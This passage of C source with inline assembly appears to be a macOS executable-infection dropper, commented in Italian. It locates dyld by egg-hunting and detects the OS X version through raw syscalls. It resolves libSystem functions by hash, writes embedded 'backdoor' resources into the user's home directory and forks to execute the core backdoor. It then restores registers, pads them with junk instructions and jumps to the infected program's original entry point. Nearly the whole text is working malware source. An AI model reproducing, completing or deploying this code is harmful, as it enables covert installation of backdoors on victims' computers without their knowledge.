	// egghunter: scans for the first 0xfeedface from 
	// 0x8fe00000 to 0x8fff0000
	__asm__ __volatile__ {
		mov eax, 0x8fe00000
l_loop:
		cmp DWORD PTR [eax], 0xfeedface // se qui c'e' un exception va a eseguire il sig_handler qui sopra che restora i registri e ritorna due istruzioni dipo.
		je found
		add eax, 0x1000 // qui ritorna il sig_handler!
		cmp eax, 0x8fff1000
		jne l_loop
		mov DWORD PTR [dyldBaseAddress], 0x0
		jmp l_break
found:
		mov DWORD PTR [dyldBaseAddress], eax
l_break:
		nop
	}

	char SystemVersion[49] = {'/', 'S', 'y', 's', 't', 'e', 'm', '/', 'L', 'i', 'b', 'r', 'a', 'r', 'y', '/', 'C', 'o', 'r', 'e', 'S', 'e', 'r', 'v', 'i', 'c', 'e', 's', '/', 'S', 'y', 's', 't', 'e', 'm', 'V', 'e', 'r', 's', 'i', 'o', 'n', '.', 'p', 'l', 'i', 's', 't', 0x0};
	// find macosx version, si puo' fare con una syscall :)
	__asm__ __volatile__ {
		push 0
		///push [SystemVersion]
		lea eax, [SystemVersion]
		push eax
		mov eax, 0x5
		push eax
		int 0x80
		mov [file_handle], eax
		//add esp, 0x40
		add esp, 0xc
	}

	if(file_handle <= 0)
		goto OEP_CALL;
	// read file
	__asm__ __volatile__ {
		push 0x400
		lea eax, [file_buffer]
		push eax
		mov eax, [file_handle]
		push eax
		mov eax, 0x3

		push eax
		int 0x80
		mov [read_len], eax

		add esp, 0x10
	}

	if(read_len <= 0)
		goto OEP_CALL;

	// homebrew plist parsing FTW!
	while(*(unsigned int *)&file_buffer[i++] != 0x696c702f && read_len > i) // "/pli"
		if(*(unsigned int *)&file_buffer[i] == 0x2e30313e) // ">10."
		{
			if (file_buffer[i+4] == 0x36)
				osx_version = 1;
			else if(file_buffer[i+4] == 0x37 || file_buffer[i+4] == 0x38)
				osx_version = 2;
			else if (file_buffer[i+4] == 0x39)
				osx_version = 3;

			break;
		}

#else
	__asm__ __volatile__ (
		"movl 4(%%ebp), %%eax\n"
		"subl $0xD2, %%eax\n"
		"movl %%eax, %0\n"
		: "=m"(baseAddress)
		:
	);
#endif

#ifndef LOADER_DEBUG
	int pid = 0;

	char *userHome                  = NULL;
	char *destinationDir            = NULL;
	char *filePointer               = NULL;
	char *backdoorPath              = NULL;
	int backdoorIsAlreadyInstalled  = 0;
	int errorOnInstall              = 0;

	unsigned int offset         = (unsigned int)(infectionBase) + sizeof (infectionHeader);
	infectionHeader *infection  = (infectionHeader *)infectionBase;
	stringTable *stringList     = (stringTable *)offset;
	resourceHeader *resource    = NULL;
	char *strings[16];
#endif

	//
	// dyld function pointer prototypes
	//
	uint32_t (*_idyld_image_count)                        (void);
	const char *(*_idyld_get_image_name)                  (uint32_t);
	const struct mach_header *(*_idyld_get_image_header)  (uint32_t);

	//
	// libSystem function pointer prototypes
	//
	int   (*iopen)			(const char *, int, ...);
	long  (*ilseek)			(int, _mOff_t, int);
	int   (*iclose)			(int);
	int   (*ichdir)			(const char *);
	int   (*iwrite)			(int, const void *, int);
	int   (*ipwrite)		(int, const void *, int, _mOff_t);
	int   (*istat)			(const char *, struct stat *);
	void *(*immap)			(void *, _mSize_t, int, int, int, _mOff_t);
	int   (*imunmap)		(void *, _mSize_t);
	void *(*imemcpy)		(void *, const void *, int);
	int   (*isprintf)		(char *, const char *, ...);
	int   (*iprintf)		(const char *, ...);
	char *(*igetenv)		(const char *);
	int   (*imkdir)			(const char *, unsigned int);
	int   (*iexecve)		(const char *, char *, char *);
	int   (*iexecl)			(const char *, const char *, ...);
	int   (*ifork)			(void);
	char *(*istrncpy)		(char *, const char *, _mSize_t);
	void *(*imalloc)		(int);
	void  (*ifree)			(void *);
	unsigned int (*isleep)	(unsigned int);
	int (*isigaction)		(int sig, sigaction *act, sigaction *oact);

	void *libdyldAddress    = mapLibDyld();
	void *libsystemcAddress = mapLibSystemC();
	void *libsystemkAddress = mapLibSystemK();

	unsigned int imageBase  = (unsigned int)dyldBaseAddress;

	if (osx_version == 1)
		_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_snow((byte *)imageBase, dyld_image_countHash));
	else if (osx_version == 2)
		_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_lion((byte *)imageBase, dyld_image_countHash));
	else if (osx_version == 3)
		_idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_mavericks((byte *)imageBase, dyld_image_countHash));

	if ((int)_idyld_image_count != -1)
	{
		imageCount = _idyld_image_count ();

#ifdef LOADER_DEBUG
		printf ("[ii] imageCount: %d\n", imageCount);
#endif
		if (osx_version == 1)
		{
			_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
				(findSymbol_snow((byte *)imageBase, dyld_get_image_nameHash));
			_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
				(findSymbol_snow((byte *)imageBase, dyld_get_image_headerHash));
		}
		else if (osx_version == 2)
		{
			_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
				(findSymbol_lion((byte *)imageBase, dyld_get_image_nameHash));
			_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
				(findSymbol_lion((byte *)imageBase, dyld_get_image_headerHash));
		}
		else if (osx_version == 3)
		{
			_idyld_get_image_name = (const char *(__cdecl *)(uint32_t))
				(findSymbol_mavericks((byte *)imageBase, dyld_get_image_nameHash));
			_idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t))
				(findSymbol_mavericks((byte *)imageBase, dyld_get_image_headerHash));
		}

		const struct mach_header *m_header = NULL;

		if ((int)_idyld_get_image_name != -1)
		{
			if (osx_version == 1)
			{
				// We are on Leopard / Snow Leopard
				for (z = 0; z < imageCount; z++)
				{
					imageName = _idyld_get_image_name (z);
					m_header  = _idyld_get_image_header (z);
#ifdef LOADER_DEBUG
					printf ("[ii] image: %s\n", imageName);
#endif
					if (sdbm ((unsigned char *)imageName) == libSystemHash)
					{
						if ((int)_idyld_get_image_header != -1)
						{
							libSystemAddress = mapLibSystem();

							if (libSystemAddress == NULL)
								doExit();

							iopen     = (int   (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, openHash) + (unsigned int)m_header);
							ilseek    = (long  (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libSystemAddress, lseekHash) + (unsigned int)m_header);
							iclose    = (int   (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, closeHash) + (unsigned int)m_header);
							ichdir    = (int   (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, chdirHash) + (unsigned int)m_header);
							iwrite    = (int   (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, writeHash) + (unsigned int)m_header);
							ipwrite   = (int   (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, pwriteHash) + (unsigned int)m_header);
							istat     = (int   (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libSystemAddress, statHash) + (unsigned int)m_header);
							immap     = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, mmapHash) + (unsigned int)m_header);
							imunmap   = (int   (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, munmapHash) + (unsigned int)m_header);
							imemcpy   = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, memcpyHash) + (unsigned int)m_header);
							isprintf  = (int   (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, sprintfHash) + (unsigned int)m_header);
							iprintf   = (int   (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, printfHash) + (unsigned int)m_header);
							igetenv   = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, getenvHash) + (unsigned int)m_header);
							imkdir    = (int   (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, mkdirHash) + (unsigned int)m_header);
							iexecve   = (int   (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libSystemAddress, execveHash) + (unsigned int)m_header);
							iexecl    = (int   (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, execlHash) + (unsigned int)m_header);
							ifork     = (int   (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libSystemAddress, forkHash) + (unsigned int)m_header);
							istrncpy  = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, strncpyHash) + (unsigned int)m_header);
							imalloc   = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, mallocHash) + (unsigned int)m_header);
							ifree     = (void  (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libSystemAddress, freeHash) + (unsigned int)m_header);
							isleep    = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, sleepHash) + (unsigned int)m_header);
							isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libSystemAddress, sigactionHash) + (unsigned int)m_header);
						}

						break;
					}
				}
			}
			else if (osx_version == 2)
			{
				// We are on Lion
				for (z = 0; z < imageCount; z++)
				{
					imageName = _idyld_get_image_name(z);
					m_header  = _idyld_get_image_header(z);

#ifdef LOADER_DEBUG
					printf ("[ii] image: %s\n", imageName);
#endif
					unsigned int hash = sdbm((unsigned char *)imageName);
					if (hash == libsystemkHash)
					{
						if (libsystemkAddress == NULL)
							doExit(); // FIXME: OEP_CALL ?

						iopen     = (int   (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header);
						ilseek    = (long  (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header);
						iclose    = (int   (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header);
						ichdir    = (int   (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header);
						iwrite    = (int   (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header);
						ipwrite   = (int   (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header);
						istat     = (int   (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header);
						immap     = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header);
						imunmap   = (int   (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header);
						imkdir    = (int   (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header);
						iexecve   = (int   (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header);
					}
					else if (hash == libsystemcHash)
					{
						if (libsystemcAddress == NULL)
							doExit(); // OEP_CALL?? FIXME

						imemcpy   = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemcAddress, memcpyHash) + (unsigned int)m_header);
						isprintf  = (int   (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header);
						iprintf   = (int   (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header);
						igetenv   = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header);
						iexecl    = (int   (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header);
						ifork     = (int   (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header);
						istrncpy  = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header);
						imalloc   = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemcAddress, mallocHash) + (unsigned int)m_header);
						ifree     = (void  (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemcAddress, freeHash) + (unsigned int)m_header);
						isleep    = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header);
						isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header);
					}
				}
			}
			else
			{
				for (z = 0; z < imageCount; z++)
				{
					imageName = _idyld_get_image_name(z);
					m_header  = _idyld_get_image_header(z);
					unsigned int hash = sdbm((unsigned char *)imageName);

					if (hash == libsystemkHash)
					{
						if (libsystemkAddress == NULL)
							doExit();

						iopen     = (int   (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header);
						ilseek    = (long  (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header);
						iclose    = (int   (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header);
						ichdir    = (int   (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header);
						iwrite    = (int   (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header);
						ipwrite   = (int   (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header);
						istat     = (int   (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header);
						immap     = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header);
						imunmap   = (int   (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header);
						imkdir    = (int   (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header);
						iexecve   = (int   (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header);

						imemcpy   = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, memcpyHash) + (unsigned int)m_header);
						imalloc   = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mallocHash) + (unsigned int)m_header);
						ifree     = (void  (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemkAddress, freeHash) + (unsigned int)m_header);
					}
					else if (hash == libsystemcHash)
					{
						if (libsystemcAddress == NULL)
							doExit();

						isprintf  = (int   (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header);
						iprintf   = (int   (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header);
						igetenv   = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header);
						iexecl    = (int   (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header);
						ifork     = (int   (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header);
						istrncpy  = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header);
						isleep    = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header);
						isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header);
					}

				}
			}

			// first restore signal handler
			new_act.sig_action = 0; // SIG_DFL
			isigaction(0xb, &new_act, &old_act); // 0xb == SIGSEGV

#ifndef LOADER_DEBUG
			for (i = 0; i < infection->numberOfStrings; i++)	
			{
				strings[i] = stringList->value;
				offset += sizeof (stringTable);
				stringList = (stringTable *)offset;
			}

			void *envVariableName = (char *)strings[0];
			if (igetenv != 0)
			{
				userHome = (char *) igetenv ((const char *)envVariableName);
			}
			else
				errorOnInstall = 1; // FIXME: doExit() or goto EOPCALL

			
			char *backdoorDropPath = (char *)imalloc(128);
			char *cin = strings[5];
			char *qua = strings[4];
			char *un = strings[1];
			if (osx_version == 3)
			{
				__asm 
				{
					push 1 /* fuck SIMD :|, su mavericks la sprintf fa uso di istruzioni SSE che richiedono stack allineato a 16 byte*/
					push 1 /* fuck SIMD :| quindi nel caso crashase sulla sprintf misteriosamente si puo' aggiungere o togliere uno o piu' push push */
					push 1 /* fuck SIMD :| */
					push cin
					push qua
					push userHome
					push un
					push backdoorDropPath
					call isprintf
				}
			}
			else
				isprintf(backdoorDropPath, strings[1], userHome, strings[4], strings[5]);

			backdoorPath = (char *)imalloc (256);
			char *backdoorDir = NULL;

			offset = (unsigned int)infectionBase
				+ sizeof (infectionHeader)
				+ sizeof (stringTable) * infection->numberOfStrings
				+ infection->dropperSize
				+ crtStartSize + 1;

			//
			// Cycle through and drop all the resources
			//
			for (i = 0; i < infection->numberOfResources; i++)
			{
				char *destinationPath = (char *) imalloc (256);
				destinationDir = (char *) imalloc (128);

				resource = (resourceHeader *)offset;
				isprintf (destinationDir, strings[2], backdoorDropPath, resource->path);

				if (backdoorDir == NULL)
				{
					backdoorDir = (char *)imalloc (256);
					isprintf (backdoorDir, strings[2], backdoorDropPath, resource->path);
				}

				imkdir (destinationDir, 0755);
				isprintf (destinationPath, strings[2], destinationDir, resource->name);

				if (resource->type == RESOURCE_CORE)
				{
					if (osx_version == 3)
					{
						__asm
						{
							push 1 // questa push e' per allineare lo stack a 16 byte come sopra (per mavericks)
							push 256
							push destinationPath
							push backdoorPath
							call istrncpy
						}
					}
					else
						istrncpy (backdoorPath, destinationPath, 256);

					if ((fd = iopen (destinationPath, O_CREAT | O_EXCL, 0755)) == -1)
						backdoorIsAlreadyInstalled = 1;
				}

				int resSize = resource->size;
				offset += sizeof (resourceHeader);

				if ((fd = iopen (destinationPath, O_RDWR | O_CREAT | O_TRUNC, 0755)) >= 0)
				{
					if (iwrite (fd, (const void *)offset, resSize) == -1)
						errorOnInstall = 1;

					iclose (fd);
				}

				offset += resSize;

				ifree (destinationDir);
				ifree (destinationPath);
			}

			ifree (backdoorDropPath);

			//
			// Execute the core backdoor file
			//
			if (//backdoorIsAlreadyInstalled == 0
				errorOnInstall == 0)
			{
				if ((pid = ifork()) == 0)
				{
					ichdir (backdoorDir);
					iexecl (backdoorPath, backdoorPath, NULL, NULL, NULL);
				}
				else if (pid > 0)
				{
					// jump to the original entry point
					//doExit ();
				}
				else if (pid < 0)
				{
					//doExit ();
				}
			}

			ifree (backdoorDir);
			ifree (backdoorPath);

OEP_CALL:
#ifdef WIN32
			// Here we have to remove the fixed base (0x1000) and add
			// the randomized one 	

			uint32_t baseAddress = (uint32_t)_idyld_get_image_header(0);
			uint32_t originalEP = infection->originalEP - 0x1000 + (uint32_t)baseAddress;

			//
			// Restore register state and jump to the original entrypoint
			// ebp will be disarded by the crt initializer, so we can use it for the jump
			//
			__asm__ __volatile__ {
				mov eax, _eax
	
				push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx

				mov ecx, _ecx
				mov edx, _edx
				
				push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx

				mov ebx, _ebx
				mov esi, _esi
				mov edi, _edi
				mov esp, _esp
					
				push eax
				pop eax
				mov eax, eax
				add eax, 0
				mov ebx, ebx
				push ecx
				mov ecx, ecx
				pop ecx

				mov ebp, originalEP; 

				mov eax, eax
				add eax, 0
				mov ebx, ebx

				add ebp, 0x30	// start right where we left, FIXME: what about EP different from crtStart??
				jmp ebp
			}

#else
			__asm__ __volatile__ (
				"movl  %0, %%eax\n"
				"movl  $0x1000, %%ebx\n"
				"movl  $0x5, %%ecx\n"
				:
			:"m"(infection->originalEP)
				);

			__asm__ __volatile__ (
				"movl  %0, %%esp\n"
				"jmp   *%%eax\n"
				:
			:"m"(esp)
				);
#endif
#endif          
		}
	}
}

void dropperEnd ()
{
	int b = 1;
}
